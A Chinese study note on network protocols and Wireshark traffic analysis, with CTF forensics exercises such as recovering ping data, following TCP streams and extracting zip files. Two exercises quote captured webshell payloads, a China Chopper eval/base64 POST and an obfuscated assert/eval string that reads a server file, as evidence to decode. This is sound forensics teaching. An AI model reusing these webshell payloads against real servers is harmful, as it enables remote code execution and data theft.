计算机网络基础

  • 这个只是简单的介绍,默认有计算机网络的基础。

常用协议

  • 应用层
    • HTTP协议:超文本传输协议,最经常使用的协议
    • HTTPS协议:密文传输协议,抓包一般会抓到TLS的流量包,这时被加密的数据
    • DNS域名解析协议:将域名转化为对应ip
    • DHCP协议:自动分配IP地址的协议
    • FTP协议:客户端和宿主机文件传输协议
    • TFTP协议:简单文件传输协议,一般用于IOT设备,这个协议偏向底层硬件。
    • SMTP协议:邮件传输协议,主要就是传输文件
    • Telnet协议:远程终端协议,主要是远程登录和远程管理
    • Modbus协议:工业控制协议,通用的工业通信协议
    • ssh协议:通常用于远程连接
  • 传输层
    • TCP协议:
    • UDP协议
  • 网络层
    • IP协议:
    • ICMP协议:
    • IGMP协议:
    • OSPF协议:
  • 数据链路层
    • ARP协议:

协议常见端口

  • 端口这个概念主要是在传输层和应用层之间通信的一个抽象概念。所以只有在应用层上的协议采用端口这个概念。
  • HTTP协议:80端口

  • HTTPS协议:443端口

  • DNS域名解析协议:53端口

  • DHCP协议:67、68端口

  • FTP协议:20/21端口

  • TFTP协议:69端口

  • SMTP协议:25端口,SSL加密端口为465端口

  • Telnet协议:23端口

  • Modbus协议:502端口

  • SSH协议:22端口

  • mysql协议或者服务:3306端口

wireshark使用

  • wireshark是一个底层的抓包软件,还有一些抓包软件:如fiddlermitmdump这两个抓包软件
  • wireshark这个软件与burp软件的功能还是差别很大的,burp是专门抓http包的,并且一些功能也是对http包开发的,比如爆破之类的。

过滤

  • 由于流量包很多,所以我们在看流量包的时候就必须要使用过滤的命令,从而快速找到相对应的流量包。

  • 基于IP地址过滤

    • 筛选源ip为xx的包ip.src==xxx.xxx.xxx.xxx
    • 筛选目标ip为xx的包ip.dst==xxx.xxx.xxx.xxx
    • 筛选ip为xx的包ip.addr==xxx.xxx.xxx.xxx
  • 基于MAC地址过滤:过滤的mac地址书写方法使用windows的mac地址的写法

    • 筛选mac地址为xx的包eth.src==xx-xx-xx-xx
    • 筛选目标mac为xx的包eth.dst=xx-xx-xx-xx
    • 筛选mac为xx的包eth.addr=xx-xx-xx-xx
  • 基于端口号过滤:端口号用于流量包是从什么应用发出来的,如果端口是通过UDP协议的就将tcp换成udp

    • 过滤源端口为4694的包tcp.srcport==4694
    • 过滤tcp端口为4694的包tcp.port==4694
    • 过滤目的tcp端口为4694的包tcp.dstport==4694
  • 基于协议过滤

    • 只看arp协议arp
    • 只看dhcpdhcp
    • 只看httpshttps
  • 组合过滤

    • and组合,dhcp包并且只想看某台电脑的包dhcp and eth.src==xx-xx-xx-xx
    • or组合,dhcp包或者arp包dhcp or arp
    • !(非):不想看某个协议的包
  • 其他过滤

    • 过滤域名http.port=="www.baidu.com",只看含义www.baidu.comHTTP流量包

其他实用功能

记录出现IP、MAC、端口

  • 这个功能可以让我们快速知道这个流量包中到底有多少个IP地址,这样我们就不用一个一个在流量包中翻找。
  • 这个功能的具体位置如下

image-20250308215944815

  • 打开后我们就可以看到如下界面,这时我们很快就可以确定哪些地址是作为客户端的地址,哪些地址是作为服务器的地址。
  • 这里如果选择TCPUDP就可以看到开放的端口

image-20250308220042456

协议分级

  • 这个功能可以帮助我们统计出各层流量包的占比,我们在进行流量分析的时候可以有一个总体的把握:
    • 电脑接收什么协议的流量包,这些流量包的占比
    • 从流量包中,我们可以初步确定电脑开启了什么服务
    • 还可以从流量包中可以把握,黑客网络的什么层面进行攻击

image-20250306201707926

  • 接下来我们就来详细查看一下这个协议分级的界面,从这里我们就可以从总体上把握黑客攻击的一些情况:
    • 出现了MySQL协议,我们就会想到攻击者可能动了数据库,或者攻击者进行了sql注入漏洞的利用
    • 出现HTTP协议或者HTTPS协议比较多,攻击者可能就是利用网页漏洞进行攻击。
    • 出现SSH协议就表示电脑可能有被远程连接过,或者尝试远程连接
    • 出现FTP协议就表示可能有文件进行传输等(HTTPS、HTTP协议也能进行文件传输)
    • 出现SMTP协议就表面有可能有邮件传输
    • 所以对应的协议和端口需要记下来,这样做流量分析的时候才能快速反应
    • 这里出现了分组分组占比字节占比

image-20250306202702466

image-20250306203454111

追踪流功能

  • 追踪流的功能只有在对UDPTCP协议或者更上层的协议分析的时候具有的功能,因为在这层或者这层之上才出现会话的概念
  • 在网络传输中,网络封装的包是有大小的限制的
    • 所以我们发送一个数据或者是下载一个应用,就需要将这个应用,拆成非常多个流量包,传送到目的主机中才整合起来
    • 或者我们一个发送的数据包太小,可能会多个数据包整合成一个数据包进行发送。
    • 对于一个数据分多个包发送,到达目的主机时间不同,我们手动分析的话就比较困难,所以就有了追踪流功能

image-20250306204147716

  • 使用这个功能后,会打开一个界面,这个界面如下图所示(这是另一个例子):
    • 这里注意,一个完整的数据相当于一个流,比如我们下载了一个zip压缩包,并且我们现在追踪的就是这个流,所以这个流0出现的数据就是整个压缩包的二进制数据,而流1就是其他的数据了
    • 另存为就会将这整个数据(包括协议的内容)保存到文件中,文件后缀可以自己定义
    • 这个功能在对分析攻击者文件上传或者是下载的数据效率非常的高
    • 注意:提取下载文件的时候不需要提取整个对话,只要提取发送文件的到目标主机这个对话即可
    • 注意:有些时候遇到特殊字符,我们就需要使用16进制来显示数据

image-20250306205219073

image-20250306205710394

搜索关键字符串

  • 该功能不会自动显示在wireshark这个界面中,要点击这个放大镜按钮,才会显示,这个功能就相当于搜索
  • 就输入关键字符串,就会跳转到相应的包中,查看具体内容,有的时候很好用

image-20250306210149243

  • 这里的搜索功能还可以使用其他的搜索语法,其他的搜索语法如下:

image-20250306210347267

导出对象

  • 使用wireshark这个导出对象的功能会更方便导出一些流量中的网页等。不会像追踪流保持数据保存时会把头数据给保存了。
  • 功能面板如下的位置如下图所示:

image-20250306231709382

  • 这边我们就来导出一个HTTP协议的数据包内容,查看文件内容发现这个.php文件中的内容是一个base64编码,解码后是一张图片。

image-20250306231747660

image-20250306231803204

image-20250306232341960

提取流量包

  • 有的时候一个流量文件中有非常多的流量包,这时我们需要对这个流量文件进行分组,可以按照协议分组也可以按照ip分组,这时我们就可以分组,然后将这些组导出成一个新的流量包,这时我们在这个流量包中就会更方便分析特定的流量包。更有利于分析。

练习

题目1_扫描流量检测

  • 题目描述:

入侵者通过ping工具对局域网内一主机进行存活性扫描,flag 为入侵所发送的16字节的数据包内容。

  • 这里我们要知道ping工具使用的流量包协议为ICMP协议,所以我们打开流量包,只需要过滤出ICMP协议即可。、
  • 这时就会看到5ICMP流量包

image-20250307171258574

  • 这时我们查看包中具体发送的内容,看到Data这个字段,就得到发送的数据

image-20250307171417345

  • 所以我们就提取出十六进制数转为字符串即可得到flag
1
2
2122232425262728292a2b2c2d2e2f30
flag{!"#$%&'()*+,-./0}

题目2_关键字符提取

  • 题目描述:

请找到流量包中的flag,格式为:nctf{}

  • 先打开流量包,然后直接搜索nctf即可得到对应flag

image-20250307185018994

  • flag为:
1
nctf{wireshark_is_easy}

题目3_特殊字符提取

  • 题目描述:

请找到密码,组合为flag,格式为:flag{密码}

  • 打开流量包,先查看包的统计情况:发现全是tcp

image-20250307185355314

  • 这里我们就使用追踪流的功能:发现只有流0,这时我们可以看到流0中有如password,那是否password的值就是backdoor...00Rm8.ate呢?

image-20250307185623121

  • password的值其实并不是backdoor...00Rm8.ate,在wireshark...可能表示不可显字符串,所以一但字符中出现这个,我们就需要先使用十六进制的形式去查看,然后找到对应的ASCII码。

image-20250307185909412

  • 这时我们看到.实际的十六进制为7f,这时我们就对这ASCII码值发现是DEL字符,表示删除键,所以backdoor...00Rm8.ate这边会被删除掉几个字符,0d就表示回车字符

image-20250307190033776

image-20250307191552889

  • 所以密码为:backdoorm8te
1
flag{backdoorm8te}

注意:我们Del键是删除后面的字符串,就像这样

1
2
3
4
5
6
7
abcdefgh
我们使用|代表光标
abcde|fgh
当我们按下一次del键后就会变成
abcde|gh
其实字符流就是
0x61 0x62 0x63 0x64 0x65 0x7f 0x66 0x67 0x68

题目4_提取压缩包

  • 题目描述:

key为文本格式,你找得到吗?

  • 打开流量包,先查看流量统计,发现只存在TCP协议,但是没有HTTP协议

image-20250307192250792

  • 这时我们就直接追踪流。发现这个流量包中一共有3个流,我们在流1中发现了key: ZipYourMouth,这个很可能是压缩包的密码

image-20250307192408365

  • 接下来我们再查看其他流,我们在流0中看到了这个PK然后一堆乱码,这时我们就会想到zip压缩包的文件头就是PK开头,所以这就相当于一个zip包,并且还有一个flag.txt的文件

image-20250307200558929

  • 之后我们就将这个zip包进行保存,注意这里是纯TCP流,并没有应用层的协议,所以使用不了导出对象,只能在追踪流那边点击保存,这时我们就选择单向发包的这个,还有一点就是要将这个流显示为原始数据,这样将这个另存为xx.zip的时候,才会存储原始数据

image-20250307200524346

  • 这时我们尝试使用360zip把这个压缩包打开。发现文件没有出错,并且要求输入密码,

image-20250307200704076

  • 这时我们就直接输入密码再解压缩就可以得到对应的flag了
1
Flag-qscet5234diQ

image-20250307200747817

题目5_文件提取1

  • 题目描述:无

  • 打开这个流量包,发现就4个流,从流0到流3,我们逐个追踪流,发现流1这边执行了类似ls的命令,说明可以远程执行命令,这时已经拿到shell了。

  • 然后我我们看看流0,就会发现用户发给服务器的数据中,可能含有webshell

image-20250307201221197

  • 我们还注意到这个程序访问了isg.php,我们看看能不能把这个文件使用导出对象提取出来,发现可以,提取内容如下,与上图的发送数据一致

image-20250307202416320

  • 这时我们就要来分析这个webshell具体执行的是什么,我们将这个webshell使用URL解码可以得到这样:
1
ISG2014=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
  • 整理可以得到,相当于命令执行
1
2
eval(base64_decode($_POST[z0]));&
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
  • z0经过base64解码之后就会出现如下,这个估计就相当于webshell
1
2
3
4
5
6
7
8
9
10
11
12
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("-ŠNÎÉY\›˜[YJ ÔÑT•‘T–È”ÐԒTђSSSQH—JNÚYŠ OHˆŠIY\›˜[YJ ÔÑT•‘T–È”UՐS”ÓUQ—JNɏHžÉWŽÚYŠÝXœÝŠ  JHOH‹ÈŠ^ٛܙXXÚ
˜[™ÙJH‹–ˆŠH\È 
ZYŠ\×Ù\ŠžÉNˆŠJI‹HžÉNˆŽßI‹H—ŽÉOJ[˜Ý[ۗÙ^\ÝÊ ÜÜÚ^ÙÙ]YÚY ÊJOÐÜÚ^ÙÙ]ÝZY
ÜÚ^ÙÙ]]ZY

JN‰ÉÎÉ\܏J JOÉVÉۘ[YI×NÙ]ØÝ\œ™[Ý\Ù\Š
NÉ‹\Ý[˜[YJ
NÉ‹HŠÉ\ܟJHŽÜš[ ŽÎÙXÚÊŸ HŠNÙYJ

  • 然后继续翻找流2,发现是命令执行

image-20250307202524428

  • 之后我们看流3,这时我们发现了一个压缩包

image-20250307202630510

  • 这时我们不能使用导出对象了,我们还是按照题目4中提取压缩包的方法来。提取的是服务器发送给客户机的。

image-20250307202730295

  • 下载下来后可以正常解压缩,这样我们解压缩后就会找到flag
1
ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}

image-20250307202859303

题目6_文件提取2

  • 题目描述:无

  • 打卡流量包后,注意到流量包有点多,就先查看一下流量统计,发现有FTP文件,这时就会想到流量中可能可以导出文件。

image-20250307203124294

  • 这时我们直接导出对象,发现可以导出hehehe.rar,导出后的压缩包可以正常打开,但是需要密码才能解压

image-20250307203319977

image-20250307203304340

  • 这时我们就继续去寻找一下流量包中是否有密码,这时我们在流5中找到了这个密码0rvWprrs0NOz9se9wLQ=,现在先来尝试base64解码,发现是乱码

image-20250307203529876

Snipaste_2025-03-07_20-36-20

  • 在翻找的过程中我们还发现了流4中有发送一个png图片,经典png头,导出的png图片没啥作用

image-20250307203727917

image-20250307204308046

  • 接下来我们猜想前面的base64gpk编码的base64,发现确实是gbk编码
1
2
3
4
5
import base64
a = '0rvWprrs0NOz9se9wLQ='
print(base64.b64decode(a).decode('gbk'))

# 一枝红杏出墙来
  • 看wp发现密码能解的开,但是我这边密码解不开QAQ,这里就直接贴wp了,解压之后就是修复png文件头,这样就可以打开图片得到flag了

image-20250307205718514

题目7_导出对象1

  • 题目名称:流量中的线索.pcapng

  • 题目描述:无

  • 打开流量包,就先查看统计分析的包,发现http协议数据最多

image-20250307205851278

  • 这时我们就追踪一下流,发现有访问一个文件fenxi.php

image-20250307210012289

  • 然后就直接看看能不能提取对象:

image-20250307210040093

  • 发现可以,就将fenxi.php文件提取出来,打开发现是非常大一串的编码,猜测是图片进行了base64编码

image-20250307210119640

  • 这时我们就base64解码成图片看看,发现确实是这样的,并且flag在图片中。

image-20250307210255036

题目8_导出对象2*

  • 题目名称:Misc-我抓到你了

  • 题目描述:无

  • 打开包,继续查看统计,发现还是http协议这边字节占比最大

image-20250307210620670

  • 这里就直接追踪http流,发现流0中,用户就发送了一个数据给服务器,并且访问的是1.php这个文件,这个应该是一个webshell文件。

image-20250307210716496

  • 我们分析发送的这一串数据,不知道怎么去除,不知道这个是什么,没怎么学web,应该是PHP的RCE这边
1
2
3
4
a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9Ii92YXIvd3d3L2ZsYWcuemlwIjskZnA9QGZvcGVuKCRGLCdyJyk7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oJ0VSUk9SOi8vIENhbiBOb3QgUmVhZCcpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));

//分析得到的结果如下:

题目9_导出对象3*

  • 题目名:fly.pcapng
  • 题目描述:无